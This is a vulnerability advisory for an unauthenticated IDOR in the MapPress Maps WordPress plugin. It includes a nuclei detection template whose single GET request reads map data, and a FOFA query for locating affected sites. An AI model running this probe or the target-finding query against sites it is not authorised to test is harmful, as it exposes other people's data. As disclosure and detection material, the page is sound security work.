WordPress MapPress Maps <= 2.96.6 - Unauthenticated IDOR

mediumseverity

5.3CVSS score

1%likelihood of exploitation, next 30 days

64%of all CVEs are less likely

Readycheck to confirm it

MapPress Maps for WordPress <= 2.96.6 contains an authorization bypass caused by missing ownership verification in REST API routes, letting unauthenticated attackers read any map data and authenticated contributors modify any map, exploit requires crafted API requests

Impact

Unauthenticated attackers can read sensitive map data; authenticated contributors can modify or delete any map, risking data exposure and unauthorized modifications.

Fix

Update to the latest version beyond 2.96.6.

How to confirm it

Send: GET /wp-json/mapp/v1/maps/1
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "\"mapid\"", "\"pois\"", "\"center\"")

Run it with nuclei: nuclei -id CVE-2026-8839 -u <target>

The full check

id: CVE-2026-8839

info:
  name: WordPress MapPress Maps <= 2.96.6 - Unauthenticated IDOR
  author: 0x_Akoko
  severity: medium
  description: |
    MapPress Maps for WordPress <= 2.96.6 contains an authorization bypass caused by missing ownership verification in REST API routes, letting unauthenticated attackers read any map data and authenticated contributors modify any map, exploit requires crafted API requests
  impact: |
    Unauthenticated attackers can read sensitive map data; authenticated contributors can modify or delete any map, risking data exposure and unauthorized modifications.
  remediation: |
    Update to the latest version beyond 2.96.6.
  reference:
    - https://plugins.trac.wordpress.org/browser/mappress-google-maps-for-wordpress/trunk/mappress_api.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8839
    - https://wordpress.org/plugins/mappress-google-maps-for-wordpress/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-8839
    epss-score: 0.01018
    epss-percentile: 0.63636
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="wp-content/plugins/mappress-google-maps-for-wordpress"
  tags: cve,cve2026,wordpress,wp-plugin,mappress,idor,exposure,wp

http:
  - raw:
      - |
        GET /wp-json/mapp/v1/maps/1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"mapid\"", "\"pois\"", "\"center\"")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from